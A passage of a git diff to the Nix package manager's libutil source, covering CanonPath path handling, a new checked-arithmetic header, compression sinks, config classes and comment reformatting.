+ +private: + + std::optional needsCompletion(std::string_view s); +}; + +} diff --git a/src/libutil/build-utils-meson b/src/libutil/build-utils-meson new file mode 120000 index 000000000..5fff21bab --- /dev/null +++ b/src/libutil/build-utils-meson @@ -0,0 +1 @@ +../../build-utils-meson \ No newline at end of file diff --git a/src/libutil/callback.hh b/src/libutil/callback.hh index ef31794be..3710d1239 100644 --- a/src/libutil/callback.hh +++ b/src/libutil/callback.hh @@ -1,13 +1,16 @@ #pragma once +///@file #include #include namespace nix { -/* A callback is a wrapper around a lambda that accepts a valid of - type T or an exception. (We abuse std::future to pass the value or - exception.) */ +/** + * A callback is a wrapper around a lambda that accepts a valid of + * type T or an exception. (We abuse std::future to pass the value or + * exception.) + */ template class Callback { diff --git a/src/libutil/canon-path.cc b/src/libutil/canon-path.cc index b132b4262..03db6378a 100644 --- a/src/libutil/canon-path.cc +++ b/src/libutil/canon-path.cc @@ -1,18 +1,35 @@ #include "canon-path.hh" #include "util.hh" +#include "file-path-impl.hh" +#include "strings-inline.hh" namespace nix { CanonPath CanonPath::root = CanonPath("/"); +static std::string absPathPure(std::string_view path) +{ + return canonPathInner(path, [](auto &, auto &){}); +} + CanonPath::CanonPath(std::string_view raw) - : path(absPath((Path) raw, "/")) + : path(absPathPure(concatStrings("/", raw))) { } CanonPath::CanonPath(std::string_view raw, const CanonPath & root) - : path(absPath((Path) raw, root.abs())) + : path(absPathPure( + raw.size() > 0 && raw[0] == '/' + ? raw + : concatStrings(root.abs(), "/", raw))) { } +CanonPath::CanonPath(const std::vector & elems) + : path("/") +{ + for (auto & s : elems) + push(s); +} + std::optional CanonPath::parent() const { if (isRoot()) return std::nullopt; @@ -51,7 +68,7 @@ void CanonPath::extend(const CanonPath & x) path += x.abs(); } -CanonPath CanonPath::operator + (const CanonPath & x) const +CanonPath CanonPath::operator / (const CanonPath & x) const { auto res = *this; res.extend(x); @@ -66,7 +83,7 @@ void CanonPath::push(std::string_view c) path += c; } -CanonPath CanonPath::operator + (std::string_view c) const +CanonPath CanonPath::operator / (std::string_view c) const { auto res = *this; res.push(c); @@ -100,4 +117,30 @@ std::ostream & operator << (std::ostream & stream, const CanonPath & path) return stream; } +std::string CanonPath::makeRelative(const CanonPath & path) const +{ + auto p1 = begin(); + auto p2 = path.begin(); + + for (; p1 != end() && p2 != path.end() && *p1 == *p2; ++p1, ++p2) ; + + if (p1 == end() && p2 == path.end()) + return "."; + else if (p1 == end()) + return std::string(p2.remaining); + else { + std::string res; + while (p1 != end()) { + ++p1; + if (!res.empty()) res += '/'; + res += ".."; + } + if (p2 != path.end()) { + if (!res.empty()) res += '/'; + res += p2.remaining; + } + return res; + } +} + } diff --git a/src/libutil/canon-path.hh b/src/libutil/canon-path.hh index c5e7f0596..f84347dc4 100644 --- a/src/libutil/canon-path.hh +++ b/src/libutil/canon-path.hh @@ -1,35 +1,52 @@ #pragma once +///@file #include #include #include #include #include +#include namespace nix { -/* A canonical representation of a path. It ensures the following: - - - It always starts with a slash. - - - It never ends with a slash, except if the path is "/". - - - A slash is never followed by a slash (i.e. no empty components). - - - There are no components equal to '.' or '..'. - - Note that the path does not need to correspond to an actually - existing path, and there is no guarantee that symlinks are - resolved. -*/ +/** + * A canonical representation of a path. It ensures the following: + * + * - It always starts with a slash. + * + * - It never ends with a slash, except if the path is "/". + * + * - A slash is never followed by a slash (i.e. no empty components). + * + * - There are no components equal to '.' or '..'. + * + * `CanonPath` are "virtual" Nix paths for abstract file system objects; + * they are always Unix-style paths, regardless of what OS Nix is + * running on. The `/` root doesn't denote the ambient host file system + * root, but some virtual FS root. + * + * @note It might be useful to compare `openat(some_fd, "foo/bar")` on + * Unix. `"foo/bar"` is a relative path because an absolute path would + * "override" the `some_fd` directory file descriptor and escape to the + * "system root". Conversely, Nix's abstract file operations *never* escape the + * designated virtual file system (i.e. `SourceAccessor` or + * `ParseSink`), so `CanonPath` does not need an absolute/relative + * distinction. + * + * @note The path does not need to correspond to an actually existing + * path, and the path may or may not have unresolved symlinks. + */ class CanonPath { std::string path; public: - /* Construct a canon path from a non-canonical path. Any '.', '..' - or empty components are removed. */ + /** + * Construct a canon path from a non-canonical path. Any '.', '..' + * or empty components are removed. + */ CanonPath(std::string_view raw); explicit CanonPath(const char * raw) @@ -42,11 +59,18 @@ public: : path(std::move(path)) { } + /** + * Construct a canon path from a vector of elements. + */ + CanonPath(const std::vector & elems); + static CanonPath root; - /* If `raw` starts with a slash, return - `CanonPath(raw)`. Otherwise return a `CanonPath` representing - `root + "/" + raw`. */ + /** + * If `raw` starts with a slash, return + * `CanonPath(raw)`. Otherwise return a `CanonPath` representing + * `root + "/" + raw`. + */ CanonPath(std::string_view raw, const CanonPath & root); bool isRoot() const @@ -58,8 +82,10 @@ public: const std::string & abs() const { return path; } - /* Like abs(), but return an empty string if this path is - '/'. Thus the returned string never ends in a slash. */ + /** + * Like abs(), but return an empty string if this path is + * '/'. Thus the returned string never ends in a slash. + */ const std::string & absOrEmpty() const { const static std::string epsilon; @@ -72,6 +98,13 @@ public: std::string_view rel() const { return ((std::string_view) path).substr(1); } + const char * rel_c_str() const + { + auto cs = path.c_str(); + assert(cs[0]); // for safety if invariant is broken + return &cs[1]; + } + struct Iterator { std::string_view remaining; @@ -85,6 +118,9 @@ public: bool operator != (const Iterator & x) const { return remaining.data() != x.remaining.data(); } + bool operator == (const Iterator & x) const + { return !(*this != x); } + const std::string_view operator * () const { return remaining.substr(0, slash); } @@ -104,13 +140,15 @@ public: std::optional parent() const; - /* Remove the last component. Panics if this path is the root. */ + /** + * Remove the last component. Panics if this path is the root. + */ void pop(); std::optional dirOf() const { if (isRoot()) return std::nullopt; - return path.substr(0, path.rfind('/')); + return ((std::string_view) path).substr(0, path.rfind('/')); } std::optional baseName() const @@ -125,11 +163,13 @@ public: bool operator != (const CanonPath & x) const { return path != x.path; } - /* Compare paths lexicographically except that path separators - are sorted before any other character. That is, in the sorted order - a directory is always followed directly by its children. For - instance, 'foo' < 'foo/bar' < 'foo!'. */ - bool operator < (const CanonPath & x) const + /** + * Compare paths lexicographically except that path separators + * are sorted before any other character. That is, in the sorted order + * a directory is always followed directly by its children. For + * instance, 'foo' < 'foo/bar' < 'foo!'. + */ + auto operator <=> (const CanonPath & x) const { auto i = path.begin(); auto j = x.path.begin(); @@ -138,36 +178,62 @@ public: if (c_i == '/') c_i = 0; auto c_j = *j; if (c_j == '/') c_j = 0; - if (c_i < c_j) return true; - if (c_i > c_j) return false; + if (auto cmp = c_i <=> c_j; cmp != 0) return cmp; } - return i == path.end() && j != x.path.end(); + return (i != path.end()) <=> (j != x.path.end()); } - /* Return true if `this` is equal to `parent` or a child of - `parent`. */ + /** + * Return true if `this` is equal to `parent` or a child of + * `parent`. + */ bool isWithin(const CanonPath & parent) const; CanonPath removePrefix(const CanonPath & prefix) const; - /* Append another path to this one. */ + /** + * Append another path to this one. + */ void extend(const CanonPath & x); - /* Concatenate two paths. */ - CanonPath operator + (const CanonPath & x) const; + /** + * Concatenate two paths. + */ + CanonPath operator / (const CanonPath & x) const; - /* Add a path component to this one. It must not contain any slashes. */ + /** + * Add a path component to this one. It must not contain any slashes. + */ void push(std::string_view c); - CanonPath operator + (std::string_view c) const; + CanonPath operator / (std::string_view c) const; - /* Check whether access to this path is allowed, which is the case - if 1) `this` is within any of the `allowed` paths; or 2) any of - the `allowed` paths are within `this`. (The latter condition - ensures access to the parents of allowed paths.) */ + /** + * Check whether access to this path is allowed, which is the case + * if 1) `this` is within any of the `allowed` paths; or 2) any of + * the `allowed` paths are within `this`. (The latter condition + * ensures access to the parents of allowed paths.) + */ bool isAllowed(const std::set & allowed) const; + + /** + * Return a representation `x` of `path` relative to `this`, i.e. + * `CanonPath(this.makeRelative(x), this) == path`. + */ + std::string makeRelative(const CanonPath & path) const; + + friend class std::hash; }; std::ostream & operator << (std::ostream & stream, const CanonPath & path); } + +template<> +struct std::hash +{ + std::size_t operator ()(const nix::CanonPath & s) const noexcept + { + return std::hash{}(s.path); + } +}; diff --git a/src/libutil/checked-arithmetic.hh b/src/libutil/checked-arithmetic.hh new file mode 100644 index 000000000..55d6ad205 --- /dev/null +++ b/src/libutil/checked-arithmetic.hh @@ -0,0 +1,182 @@ +#pragma once +/** + * @file Checked arithmetic with classes that make it hard to accidentally make something an unchecked operation. + */ + +#include +#include // IWYU pragma: keep +#include +#include +#include +#include +#include + +namespace nix::checked { + +class DivideByZero : std::exception +{}; + +/** + * Numeric value enforcing checked arithmetic. Performing mathematical operations on such values will return a Result + * type which needs to be checked. + */ +template +struct Checked +{ + using Inner = T; + + // TODO: this must be a "trivial default constructor", which means it + // cannot set the value to NOT DO UB on uninit. + T value; + + Checked() = default; + explicit Checked(T const value) + : value{value} + { + } + Checked(Checked const & other) = default; + Checked(Checked && other) = default; + Checked & operator=(Checked const & other) = default; + + std::strong_ordering operator<=>(Checked const & other) const = default; + std::strong_ordering operator<=>(T const & other) const + { + return value <=> other; + } + + explicit operator T() const + { + return value; + } + + enum class OverflowKind { + NoOverflow, + Overflow, + DivByZero, + }; + + class Result + { + T value; + OverflowKind overflowed_; + + public: + Result(T value, bool overflowed) + : value{value} + , overflowed_{overflowed ? OverflowKind::Overflow : OverflowKind::NoOverflow} + { + } + Result(T value, OverflowKind overflowed) + : value{value} + , overflowed_{overflowed} + { + } + + bool operator==(Result other) const + { + return value == other.value && overflowed_ == other.overflowed_; + } + + std::optional valueChecked() const + { + if (overflowed_ != OverflowKind::NoOverflow) { + return std::nullopt; + } else { + return value; + } + } + + /** + * Returns the result as if the arithmetic were performed as wrapping arithmetic. + * + * \throws DivideByZero if the operation was a divide by zero. + */ + T valueWrapping() const + { + if (overflowed_ == OverflowKind::DivByZero) { + throw DivideByZero{}; + } + return value; + } + + bool overflowed() const + { + return overflowed_ == OverflowKind::Overflow; + } + + bool divideByZero() const + { + return overflowed_ == OverflowKind::DivByZero; + } + }; + + Result operator+(Checked const other) const + { + return (*this) + other.value; + } + Result operator+(T const other) const + { + T result; + bool overflowed = __builtin_add_overflow(value, other, &result); + return Result{result, overflowed}; + } + + Result operator-(Checked const other) const + { + return (*this) - other.value; + } + Result operator-(T const other) const + { + T result; + bool overflowed = __builtin_sub_overflow(value, other, &result); + return Result{result, overflowed}; + } + + Result operator*(Checked const other) const + { + return (*this) * other.value; + } + Result operator*(T const other) const + { + T result; + bool overflowed = __builtin_mul_overflow(value, other, &result); + return Result{result, overflowed}; + } + + Result operator/(Checked const other) const + { + return (*this) / other.value; + } + /** + * Performs a checked division. + * + * If the right hand side is zero, the result is marked as a DivByZero and + * valueWrapping will throw. + */ + Result operator/(T const other) const + { + constexpr T const minV = std::numeric_limits::min(); + + // It's only possible to overflow with signed division since doing so + // requires crossing the two's complement limits by MIN / -1 (since + // two's complement has one more in range in the negative direction + // than in the positive one). + if (std::is_signed() && (value == minV && other == -1)) { + return Result{minV, true}; + } else if (other == 0) { + return Result{0, OverflowKind::DivByZero}; + } else { + T result = value / other; + return Result{result, false}; + } + } +}; + +template +std::ostream & operator<<(std::ostream & ios, Checked v) +{ + ios << v.value; + return ios; +} + +} diff --git a/src/libutil/chunked-vector.hh b/src/libutil/chunked-vector.hh index 0a4f0b400..4709679a6 100644 --- a/src/libutil/chunked-vector.hh +++ b/src/libutil/chunked-vector.hh @@ -1,31 +1,38 @@ #pragma once +///@file #include #include #include #include +#include "error.hh" + namespace nix { -/* Provides an indexable container like vector<> with memory overhead - guarantees like list<> by allocating storage in chunks of ChunkSize - elements instead of using a contiguous memory allocation like vector<> - does. Not using a single vector that is resized reduces memory overhead - on large data sets by on average (growth factor)/2, mostly - eliminates copies within the vector during resizing, and provides stable - references to its elements. */ +/** + * Provides an indexable container like vector<> with memory overhead + * guarantees like list<> by allocating storage in chunks of ChunkSize + * elements instead of using a contiguous memory allocation like vector<> + * does. Not using a single vector that is resized reduces memory overhead + * on large data sets by on average (growth factor)/2, mostly + * eliminates copies within the vector during resizing, and provides stable + * references to its elements. + */ template class ChunkedVector { private: uint32_t size_ = 0; std::vector> chunks; - /* keep this out of the ::add hot path */ + /** + * Keep this out of the ::add hot path + */ [[gnu::noinline]] auto & addChunk() { if (size_ >= std::numeric_limits::max() - ChunkSize) - abort(); + unreachable(); chunks.emplace_back(); chunks.back().reserve(ChunkSize); return chunks.back(); diff --git a/src/libutil/closure.hh b/src/libutil/closure.hh index 779b9b2d5..16e3b93e4 100644 --- a/src/libutil/closure.hh +++ b/src/libutil/closure.hh @@ -1,3 +1,6 @@ +#pragma once +///@file + #include #include #include "sync.hh" diff --git a/src/libutil/comparator.hh b/src/libutil/comparator.hh index eecd5b819..34ba6f453 100644 --- a/src/libutil/comparator.hh +++ b/src/libutil/comparator.hh @@ -1,6 +1,21 @@ #pragma once +///@file -/* Awfull hacky generation of the comparison operators by doing a lexicographic +#define GENERATE_ONE_CMP(PRE, RET, QUAL, COMPARATOR, MY_TYPE, ...) \ + PRE RET QUAL operator COMPARATOR(const MY_TYPE & other) const noexcept { \ + __VA_OPT__(const MY_TYPE * me = this;) \ + auto fields1 = std::tie( __VA_ARGS__ ); \ + __VA_OPT__(me = &other;) \ + auto fields2 = std::tie( __VA_ARGS__ ); \ + return fields1 COMPARATOR fields2; \ + } +#define GENERATE_EQUAL(prefix, qualification, my_type, args...) \ + GENERATE_ONE_CMP(prefix, bool, qualification, ==, my_type, args) +#define GENERATE_SPACESHIP(prefix, ret, qualification, my_type, args...) \ + GENERATE_ONE_CMP(prefix, ret, qualification, <=>, my_type, args) + +/** + * Awful hacky generation of the comparison operators by doing a lexicographic * comparison between the choosen fields. * * ``` @@ -10,23 +25,26 @@ * will generate comparison operators semantically equivalent to: * * ``` - * bool operator<(const ClassName& other) { - * return field1 < other.field1 && field2 < other.field2 && ...; + * auto operator<=>(const ClassName& other) const noexcept { + * if (auto cmp = field1 <=> other.field1; cmp != 0) + * return cmp; + * if (auto cmp = field2 <=> other.field2; cmp != 0) + * return cmp; + * ... + * return 0; * } * ``` */ -#define GENERATE_ONE_CMP(COMPARATOR, MY_TYPE, FIELDS...) \ - bool operator COMPARATOR(const MY_TYPE& other) const { \ - const MY_TYPE* me = this; \ - auto fields1 = std::make_tuple( FIELDS ); \ - me = &other; \ - auto fields2 = std::make_tuple( FIELDS ); \ - return fields1 COMPARATOR fields2; \ - } -#define GENERATE_EQUAL(args...) GENERATE_ONE_CMP(==, args) -#define GENERATE_LEQ(args...) GENERATE_ONE_CMP(<, args) -#define GENERATE_NEQ(args...) GENERATE_ONE_CMP(!=, args) #define GENERATE_CMP(args...) \ - GENERATE_EQUAL(args) \ - GENERATE_LEQ(args) \ - GENERATE_NEQ(args) + GENERATE_EQUAL(,,args) \ + GENERATE_SPACESHIP(,auto,,args) + +/** + * @param prefix This is for something before each declaration like + * `template`. + * + * @param my_type the type are defining operators for. + */ +#define GENERATE_CMP_EXT(prefix, ret, my_type, args...) \ + GENERATE_EQUAL(prefix, my_type ::, my_type, args) \ + GENERATE_SPACESHIP(prefix, ret, my_type ::, my_type, args) diff --git a/src/libutil/compression.cc b/src/libutil/compression.cc index 89180e7a7..d27028565 100644 --- a/src/libutil/compression.cc +++ b/src/libutil/compression.cc @@ -1,6 +1,6 @@ #include "compression.hh" +#include "signals.hh" #include "tarfile.hh" -#include "util.hh" #include "finally.hh" #include "logging.hh" @@ -12,8 +12,6 @@ #include #include -#include - namespace nix { static const int COMPRESSION_LEVEL_DEFAULT = -1; @@ -23,7 +21,7 @@ struct ChunkedCompressionSink : CompressionSink { uint8_t outbuf[32 * 1024]; - void write(std::string_view data) override + void writeUnbuffered(std::string_view data) override { const size_t CHUNK_SIZE = sizeof(outbuf) << 2; while (!data.empty()) { @@ -40,20 +38,26 @@ struct ArchiveDecompressionSource : Source { std::unique_ptr archive = 0; Source & src; - ArchiveDecompressionSource(Source & src) : src(src) {} + std::optional compressionMethod; + ArchiveDecompressionSource(Source & src, std::optional compressionMethod = std::nullopt) + : src(src) + , compressionMethod(std::move(compressionMethod)) + { + } ~ArchiveDecompressionSource() override {} - size_t read(char * data, size_t len) override { + size_t read(char * data, size_t len) override + { struct archive_entry * ae; if (!archive) { - archive = std::make_unique(src, true); - this->archive->check(archive_read_next_header(this->archive->archive, &ae), - "failed to read header (%s)"); + archive = std::make_unique(src, /*raw*/ true, compressionMethod); + this->archive->check(archive_read_next_header(this->archive->archive, &ae), "failed to read header (%s)"); if (archive_filter_count(this->archive->archive) < 2) { throw CompressionError("input compression not recognized"); } } ssize_t result = archive_read_data(this->archive->archive, data, len); - if (result > 0) return result; + if (result > 0) + return result; if (result == 0) { throw EndOfFile("reached end of compressed file"); } @@ -67,16 +71,19 @@ struct ArchiveCompressionSink : CompressionSink Sink & nextSink; struct archive * archive; - ArchiveCompressionSink(Sink & nextSink, std::string format, bool parallel, int level = COMPRESSION_LEVEL_DEFAULT) : nextSink(nextSink) + ArchiveCompressionSink(Sink & nextSink, std::string format, bool parallel, int level = COMPRESSION_LEVEL_DEFAULT) + : nextSink(nextSink) { archive = archive_write_new(); - if (!archive) throw Error("failed to initialize libarchive"); + if (!archive) + throw Error("failed to initialize libarchive"); check(archive_write_add_filter_by_name(archive, format.c_str()), "couldn't initialize compression (%s)"); check(archive_write_set_format_raw(archive)); if (parallel) check(archive_write_set_filter_option(archive, format.c_str(), "threads", "0")); if (level != COMPRESSION_LEVEL_DEFAULT) - check(archive_write_set_filter_option(archive, format.c_str(), "compression-level", std::to_string(level).c_str())); + check(archive_write_set_filter_option( + archive, format.c_str(), "compression-level", std::to_string(level).c_str())); // disable internal buffering check(archive_write_set_bytes_per_block(archive, 0)); // disable output padding @@ -86,7 +93,8 @@ struct ArchiveCompressionSink : CompressionSink ~ArchiveCompressionSink() override { - if (archive) archive_write_free(archive); + if (archive) + archive_write_free(archive); } void finish() override @@ -103,10 +111,11 @@ struct ArchiveCompressionSink : CompressionSink throw Error(reason, archive_error_string(this->archive)); } - void write(std::string_view data) override + void writeUnbuffered(std::string_view data) override { ssize_t result = archive_write_data(archive, data.data(), data.length()); - if (result <= 0) check(result); + if (result <= 0) + check(result); } private: @@ -130,13 +139,20 @@ private: struct NoneSink : CompressionSink { Sink & nextSink; - NoneSink(Sink & nextSink, int level = COMPRESSION_LEVEL_DEFAULT) : nextSink(nextSink) + NoneSink(Sink & nextSink, int level = COMPRESSION_LEVEL_DEFAULT) + : nextSink(nextSink) { if (level != COMPRESSION_LEVEL_DEFAULT) warn("requested compression level '%d' not supported by compression method 'none'", level); } - void finish() override { flush(); } - void write(std::string_view data) override { nextSink(data); } + void finish() override + { + flush(); + } + void writeUnbuffered(std::string_view data) override + { + nextSink(data); + } }; struct BrotliDecompressionSink : ChunkedCompressionSink @@ -145,7 +161,8 @@ struct BrotliDecompressionSink : ChunkedCompressionSink BrotliDecoderState * state; bool finished = false; - BrotliDecompressionSink(Sink & nextSink) : nextSink(nextSink) + BrotliDecompressionSink(Sink & nextSink) + : nextSink(nextSink) { state = BrotliDecoderCreateInstance(nullptr, nullptr, nullptr); if (!state) @@ -173,10 +190,7 @@ struct BrotliDecompressionSink : ChunkedCompressionSink while (!finished && (!data.data() || avail_in)) { checkInterrupt(); - if (!BrotliDecoderDecompressStream(state, - &avail_in, &next_in, - &avail_out, &next_out, - nullptr)) + if (!BrotliDecoderDecompressStream(state, &avail_in, &next_in, &avail_out, &next_out, nullptr)) throw CompressionError("error while decompressing brotli file"); if (avail_out < sizeof(outbuf) || avail_in == 0) { @@ -206,8 +220,8 @@ std::unique_ptr makeDecompressionSink(const std::string & method, Si else if (method == "br") return std::make_unique(nextSink); else - return sourceToSink([&](Source & source) { - auto decompressionSource = std::make_unique(source); + return sourceToSink([method, &nextSink](Source & source) { + auto decompressionSource = std::make_unique(source, method); decompressionSource->drainInto(nextSink); }); } @@ -219,7 +233,8 @@ struct BrotliCompressionSink : ChunkedCompressionSink BrotliEncoderState * state; bool finished = false; - BrotliCompressionSink(Sink & nextSink) : nextSink(nextSink) + BrotliCompressionSink(Sink & nextSink) + : nextSink(nextSink) { state = BrotliEncoderCreateInstance(nullptr, nullptr, nullptr); if (!state) @@ -247,10 +262,13 @@ struct BrotliCompressionSink : ChunkedCompressionSink while (!finished && (!data.data() || avail_in)) { checkInterrupt(); - if (!BrotliEncoderCompressStream(state, + if (!BrotliEncoderCompressStream( + state, data.data() ? BROTLI_OPERATION_PROCESS : BROTLI_OPERATION_FINISH, - &avail_in, &next_in, - &avail_out, &next_out, + &avail_in, + &next_in, + &avail_out, + &next_out, nullptr)) throw CompressionError("error while compressing brotli compression"); @@ -268,8 +286,7 @@ struct BrotliCompressionSink : ChunkedCompressionSink ref makeCompressionSink(const std::string & method, Sink & nextSink, const bool parallel, int level) { std::vector la_supports = { - "bzip2", "compress", "grzip", "gzip", "lrzip", "lz4", "lzip", "lzma", "lzop", "xz", "zstd" - }; + "bzip2", "compress", "grzip", "gzip", "lrzip", "lz4", "lzip", "lzma", "lzop", "xz", "zstd"}; if (std::find(la_supports.begin(), la_supports.end(), method) != la_supports.end()) { return make_ref(nextSink, method, parallel, level); } diff --git a/src/libutil/compression.hh b/src/libutil/compression.hh index c470b82a5..e0c531b1f 100644 --- a/src/libutil/compression.hh +++ b/src/libutil/compression.hh @@ -1,4 +1,5 @@ #pragma once +///@file #include "ref.hh" #include "types.hh" @@ -10,8 +11,8 @@ namespace nix { struct CompressionSink : BufferedSink, FinishSink { - using BufferedSink::operator (); - using BufferedSink::write; + using BufferedSink::operator(); + using BufferedSink::writeUnbuffered; using FinishSink::finish; }; @@ -21,7 +22,8 @@ std::unique_ptr makeDecompressionSink(const std::string & method, Si std::string compress(const std::string & method, std::string_view in, const bool parallel = false, int level = -1); -ref makeCompressionSink(const std::string & method, Sink & nextSink, const bool parallel = false, int level = -1); +ref +makeCompressionSink(const std::string & method, Sink & nextSink, const bool parallel = false, int level = -1); MakeError(UnknownCompressionMethod, Error); diff --git a/src/libutil/compute-levels.hh b/src/libutil/compute-levels.hh index 8ded295f9..093e7a915 100644 --- a/src/libutil/compute-levels.hh +++ b/src/libutil/compute-levels.hh @@ -1,3 +1,6 @@ +#pragma once +///@file + #include "types.hh" namespace nix { diff --git a/src/libutil/config-global.cc b/src/libutil/config-global.cc new file mode 100644 index 000000000..4c08898a4 --- /dev/null +++ b/src/libutil/config-global.cc @@ -0,0 +1,67 @@ +#include "config-global.hh" + +namespace nix { + +bool GlobalConfig::set(const std::string & name, const std::string & value) +{ + for (auto & config : *configRegistrations) + if (config->set(name, value)) + return true; + + unknownSettings.emplace(name, value); + + return false; +} + +void GlobalConfig::getSettings(std::map & res, bool overriddenOnly) +{ + for (auto & config : *configRegistrations) + config->getSettings(res, overriddenOnly); +} + +void GlobalConfig::resetOverridden() +{ + for (auto & config : *configRegistrations) + config->resetOverridden(); +} + +nlohmann::json GlobalConfig::toJSON() +{ + auto res = nlohmann::json::object(); + for (const auto & config : *configRegistrations) + res.update(config->toJSON()); + return res; +} + +std::string GlobalConfig::toKeyValue() +{ + std::string res; + std::map settings; + globalConfig.getSettings(settings); + for (const auto & s : settings) + res += fmt("%s = %s\n", s.first, s.second.value); + return res; +} + +void GlobalConfig::convertToArgs(Args & args, const std::string & category) +{ + for (auto & config : *configRegistrations) + config->convertToArgs(args, category); +} + +GlobalConfig globalConfig; + +GlobalConfig::ConfigRegistrations * GlobalConfig::configRegistrations; + +GlobalConfig::Register::Register(Config * config) +{ + if (!configRegistrations) + configRegistrations = new ConfigRegistrations; + configRegistrations->emplace_back(config); +} + +ExperimentalFeatureSettings experimentalFeatureSettings; + +static GlobalConfig::Register rSettings(&experimentalFeatureSettings); + +} diff --git a/src/libutil/config-global.hh b/src/libutil/config-global.hh new file mode 100644 index 000000000..2caf51524 --- /dev/null +++ b/src/libutil/config-global.hh @@ -0,0 +1,33 @@ +#pragma once +///@file + +#include "config.hh" + +namespace nix { + +struct GlobalConfig : public AbstractConfig +{ + typedef std::vector ConfigRegistrations; + static ConfigRegistrations * configRegistrations; + + bool set(const std::string & name, const std::string & value) override; + + void getSettings(std::map & res, bool overriddenOnly = false) override; + + void resetOverridden() override; + + nlohmann::json toJSON() override; + + std::string toKeyValue() override; + + void convertToArgs(Args & args, const std::string & category) override; + + struct Register + { + Register(Config * config); + }; +}; + +extern GlobalConfig globalConfig; + +} diff --git a/src/libutil/config-impl.hh b/src/libutil/config-impl.hh new file mode 100644 index 000000000..c3aa61ddb --- /dev/null +++ b/src/libutil/config-impl.hh @@ -0,0 +1,136 @@ +#pragma once +/** + * @file + * + * Template implementations (as opposed to mere declarations). + * + * This file is an example of the "impl.hh" pattern. See the + * contributing guide. + * + * One only needs to include this when one is declaring a + * `BaseClass` setting, or as derived class of such an + * instantiation. + */ + +#include "config.hh" + +namespace nix { + +template<> struct BaseSetting::trait +{ + static constexpr bool appendable = true; +}; +template<> struct BaseSetting::trait +{ + static constexpr bool appendable = true; +}; +template<> struct BaseSetting::trait +{ + static constexpr bool appendable = true; +}; +template<> struct BaseSetting>::trait +{ + static constexpr bool appendable = true; +}; + +template +struct BaseSetting::trait +{ + static constexpr bool appendable = false; +}; + +template +bool BaseSetting::isAppendable() +{ + return trait::appendable; +} + +template<> void BaseSetting::appendOrSet(Strings newValue, bool append); +template<> void BaseSetting::appendOrSet(StringSet newValue, bool append); +template<> void BaseSetting::appendOrSet(StringMap newValue, bool append); +template<> void BaseSetting>::appendOrSet(std::set newValue, bool append); + +template +void BaseSetting::appendOrSet(T newValue, bool append) +{ + static_assert( + !trait::appendable, + "using default `appendOrSet` implementation with an appendable type"); + assert(!append); + + value = std::move(newValue); +} + +template +void BaseSetting::set(const std::string & str, bool append) +{ + if (experimentalFeatureSettings.isEnabled(experimentalFeature)) + appendOrSet(parse(str), append); + else { + assert(experimentalFeature); + warn("Ignoring setting '%s' because experimental feature '%s' is not enabled", + name, + showExperimentalFeature(*experimentalFeature)); + } +} + +template<> void BaseSetting::convertToArg(Args & args, const std::string & category); + +template +void BaseSetting::convertToArg(Args & args, const std::string & category) +{ + args.addFlag({ + .longName = name, + .aliases = aliases, + .description = fmt("Set the `%s` setting.", name), + .category = category, + .labels = {"value"}, + .handler = {[this](std::string s) { overridden = true; set(s); }}, + .experimentalFeature = experimentalFeature, + }); + + if (isAppendable()) + args.addFlag({ + .longName = "extra-" + name, + .aliases = aliases, + .description = fmt("Append to the `%s` setting.", name), + .category = category, + .labels = {"value"}, + .handler = {[this](std::string s) { overridden = true; set(s, true); }}, + .experimentalFeature = experimentalFeature, + }); +} + +#define DECLARE_CONFIG_SERIALISER(TY) \ + template<> TY BaseSetting< TY >::parse(const std::string & str) const; \ + template<> std::string BaseSetting< TY >::to_string() const; + +DECLARE_CONFIG_SERIALISER(std::string) +DECLARE_CONFIG_SERIALISER(std::optional) +DECLARE_CONFIG_SERIALISER(bool) +DECLARE_CONFIG_SERIALISER(Strings) +DECLARE_CONFIG_SERIALISER(StringSet) +DECLARE_CONFIG_SERIALISER(StringMap) +DECLARE_CONFIG_SERIALISER(std::set) + +template +T BaseSetting::parse(const std::string & str) const +{ + static_assert(std::is_integral::value, "Integer required."); + + try { + return string2IntWithUnitPrefix(str); + } catch (...) { + throw UsageError("setting '%s' has invalid value '%s'", name, str); + } +} + +template +std::string BaseSetting::to_string() const +{ + static_assert(std::is_integral::value, "Integer required."); + + return std::to_string(value); +} + +} diff --git a/src/libutil/config.cc b/src/libutil/config.cc index 9bb412b4f..ca8480304 100644 --- a/src/libutil/config.cc +++ b/src/libutil/config.cc @@ -1,12 +1,23 @@ #include "config.hh" #include "args.hh" #include "abstract-setting-to-json.hh" +#include "environment-variables.hh" #include "experimental-features.hh" +#include "util.hh" +#include "file-system.hh" + +#include "config-impl.hh" #include +#include "strings.hh" + namespace nix { +Config::Config(StringMap initials) + : AbstractConfig(std::move(initials)) +{ } + bool Config::set(const std::string & name, const std::string & value) { bool append = false; @@ -27,28 +38,26 @@ bool Config::set(const std::string & name, const std::string & value) void Config::addSetting(AbstractSetting * setting) { - _settings.emplace(setting->name, Config::SettingData(false, setting)); - for (auto & alias : setting->aliases) - _settings.emplace(alias, Config::SettingData(true, setting)); + _settings.emplace(setting->name, Config::SettingData{false, setting}); + for (const auto & alias : setting->aliases) + _settings.emplace(alias, Config::SettingData{true, setting}); bool set = false; - auto i = unknownSettings.find(setting->name); - if (i != unknownSettings.end()) { - setting->set(i->second); + if (auto i = unknownSettings.find(setting->name); i != unknownSettings.end()) { + setting->set(std::move(i->second)); setting->overridden = true; unknownSettings.erase(i); set = true; } for (auto & alias : setting->aliases) { - auto i = unknownSettings.find(alias); - if (i != unknownSettings.end()) { + if (auto i = unknownSettings.find(alias); i != unknownSettings.end()) { if (set) warn("setting '%s' is set, but it's an alias of '%s' which is also set", alias, setting->name); else { - setting->set(i->second); + setting->set(std::move(i->second)); setting->overridden = true; unknownSettings.erase(i); set = true; @@ -57,27 +66,42 @@ void Config::addSetting(AbstractSetting * setting) } } +AbstractConfig::AbstractConfig(StringMap initials) + : unknownSettings(std::move(initials)) +{ } + void AbstractConfig::warnUnknownSettings() { - for (auto & s : unknownSettings) + for (const auto & s : unknownSettings) warn("unknown setting '%s'", s.first); } void AbstractConfig::reapplyUnknownSettings() { auto unknownSettings2 = std::move(unknownSettings); + unknownSettings = {}; for (auto & s : unknownSettings2) set(s.first, s.second); } void Config::getSettings(std::map & res, bool overriddenOnly) { - for (auto & opt : _settings) - if (!opt.second.isAlias && (!overriddenOnly || opt.second.setting->overridden)) + for (const auto & opt : _settings) + if (!opt.second.isAlias + && (!overriddenOnly || opt.second.setting->overridden) + && experimentalFeatureSettings.isEnabled(opt.second.setting->experimentalFeature)) res.emplace(opt.first, SettingInfo{opt.second.setting->to_string(), 